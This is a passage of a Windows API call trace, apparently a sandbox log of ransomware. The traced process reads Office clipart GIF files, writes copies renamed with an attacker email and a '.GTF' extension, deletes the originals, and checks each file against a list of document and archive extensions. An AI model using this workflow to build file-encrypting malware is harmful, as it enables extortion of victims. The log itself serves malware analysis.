	[0078.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220
	[0078.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.824] GetLastError () returned 0x0
	[0078.824] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x13a6, lpOverlapped=0x0) returned 1
	[0078.825] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13b0, lpOverlapped=0x0) returned 1
	[0078.826] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.826] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.826] SetEndOfFile (hFile=0x384) returned 1
	[0078.827] CloseHandle (hObject=0x384) returned 1
	[0078.827] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.827] SetEndOfFile (hFile=0x380) returned 1
	[0078.828] CloseHandle (hObject=0x380) returned 1
	[0078.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1
	[0078.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.829] lstrlenW (lpString=".doc") returned 4
	[0078.829] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.829] lstrlenW (lpString=".docx") returned 5
	[0078.829] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.829] lstrlenW (lpString=".pdf") returned 4
	[0078.829] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.829] lstrlenW (lpString=".xls") returned 4
	[0078.829] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.829] lstrlenW (lpString=".xlsx") returned 5
	[0078.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.829] lstrlenW (lpString=".ppt") returned 4
	[0078.829] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.829] lstrlenW (lpString=".zip") returned 4
	[0078.829] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.829] lstrlenW (lpString=".rar") returned 4
	[0078.829] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.829] lstrlenW (lpString=".bz2") returned 4
	[0078.829] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.829] lstrlenW (lpString=".7z") returned 3
	[0078.830] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".dbf") returned 4
	[0078.830] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".1cd") returned 4
	[0078.830] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".jpg") returned 4
	[0078.830] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".doc") returned 4
	[0078.830] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.830] lstrlenW (lpString=".docx") returned 5
	[0078.830] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.830] lstrlenW (lpString=".pdf") returned 4
	[0078.830] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString=".xls") returned 4
	[0078.830] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString=".xlsx") returned 5
	[0078.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.830] lstrlenW (lpString=".ppt") returned 4
	[0078.830] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".zip") returned 4
	[0078.830] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString=".rar") returned 4
	[0078.830] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.830] lstrlenW (lpString=".bz2") returned 4
	[0078.830] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.830] lstrlenW (lpString=".7z") returned 3
	[0078.830] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.830] lstrlenW (lpString=".dbf") returned 4
	[0078.831] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.831] lstrlenW (lpString=".1cd") returned 4
	[0078.831] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68
	[0078.831] lstrlenW (lpString=".jpg") returned 4
	[0078.831] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.831] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.831] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0078.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.831] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1146) returned 1
	[0078.831] CloseHandle (hObject=0x380) returned 1
	[0078.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220
	[0078.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.832] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.832] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.832] GetLastError () returned 0x0
	[0078.832] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x47a, lpOverlapped=0x0) returned 1
	[0078.834] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x480, lpOverlapped=0x0) returned 1
	[0078.835] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.835] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.835] SetEndOfFile (hFile=0x384) returned 1
	[0078.835] CloseHandle (hObject=0x384) returned 1
	[0078.836] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.836] SetEndOfFile (hFile=0x380) returned 1
	[0078.837] CloseHandle (hObject=0x380) returned 1
	[0078.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString=".doc") returned 4
	[0078.838] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.838] lstrlenW (lpString=".docx") returned 5
	[0078.838] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.838] lstrlenW (lpString=".pdf") returned 4
	[0078.838] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.838] lstrlenW (lpString=".xls") returned 4
	[0078.838] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.838] lstrlenW (lpString=".xlsx") returned 5
	[0078.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.838] lstrlenW (lpString=".ppt") returned 4
	[0078.838] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString=".zip") returned 4
	[0078.838] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.838] lstrlenW (lpString=".rar") returned 4
	[0078.838] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.838] lstrlenW (lpString=".bz2") returned 4
	[0078.838] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.838] lstrlenW (lpString=".7z") returned 3
	[0078.838] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString=".dbf") returned 4
	[0078.838] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString=".1cd") returned 4
	[0078.838] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.838] lstrlenW (lpString=".jpg") returned 4
	[0078.838] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString=".doc") returned 4
	[0078.839] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.839] lstrlenW (lpString=".docx") returned 5
	[0078.839] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.839] lstrlenW (lpString=".pdf") returned 4
	[0078.839] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString=".xls") returned 4
	[0078.839] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString=".xlsx") returned 5
	[0078.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.839] lstrlenW (lpString=".ppt") returned 4
	[0078.839] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString=".zip") returned 4
	[0078.839] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString=".rar") returned 4
	[0078.839] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.839] lstrlenW (lpString=".bz2") returned 4
	[0078.839] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.839] lstrlenW (lpString=".7z") returned 3
	[0078.839] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString=".dbf") returned 4
	[0078.839] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString=".1cd") returned 4
	[0078.839] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0078.839] lstrlenW (lpString=".jpg") returned 4
	[0078.839] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.840] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.840] lstrlenW (lpString="AG00161_.GIF") returned 12
	[0078.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.841] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=7583) returned 1
	[0078.841] CloseHandle (hObject=0x380) returned 1
	[0078.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220
	[0078.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.841] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.841] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.841] GetLastError () returned 0x0
	[0078.841] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x1d9f, lpOverlapped=0x0) returned 1
	[0078.843] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x1da0, lpOverlapped=0x0) returned 1
	[0078.844] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.844] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0078.844] SetEndOfFile (hFile=0x384) returned 1
	[0078.844] CloseHandle (hObject=0x384) returned 1
	[0078.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.845] SetEndOfFile (hFile=0x380) returned 1
	[0078.850] CloseHandle (hObject=0x380) returned 1
	[0078.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0078.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1
	[0078.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.850] lstrlenW (lpString=".doc") returned 4
	[0078.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.851] lstrlenW (lpString=".docx") returned 5
	[0078.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.851] lstrlenW (lpString=".pdf") returned 4
	[0078.851] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString=".xls") returned 4
	[0078.851] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString=".xlsx") returned 5
	[0078.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.851] lstrlenW (lpString=".ppt") returned 4
	[0078.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString=".zip") returned 4
	[0078.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString=".rar") returned 4
	[0078.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString=".bz2") returned 4
	[0078.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.851] lstrlenW (lpString=".7z") returned 3
	[0078.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString=".dbf") returned 4
	[0078.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString=".1cd") returned 4
	[0078.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString=".jpg") returned 4
	[0078.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.851] lstrlenW (lpString=".doc") returned 4
	[0078.851] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0078.851] lstrlenW (lpString=".docx") returned 5
	[0078.851] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0078.851] lstrlenW (lpString=".pdf") returned 4
	[0078.852] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0078.852] lstrlenW (lpString=".xls") returned 4
	[0078.852] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0078.852] lstrlenW (lpString=".xlsx") returned 5
	[0078.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0078.852] lstrlenW (lpString=".ppt") returned 4
	[0078.852] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0078.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.852] lstrlenW (lpString=".zip") returned 4
	[0078.852] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0078.852] lstrlenW (lpString=".rar") returned 4
	[0078.852] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0078.852] lstrlenW (lpString=".bz2") returned 4
	[0078.852] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0078.852] lstrlenW (lpString=".7z") returned 3
	[0078.852] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0078.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.852] lstrlenW (lpString=".dbf") returned 4
	[0078.852] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0078.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.852] lstrlenW (lpString=".1cd") returned 4
	[0078.852] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0078.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0078.852] lstrlenW (lpString=".jpg") returned 4
	[0078.852] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0078.852] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0078.852] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0078.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0078.853] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=6984) returned 1
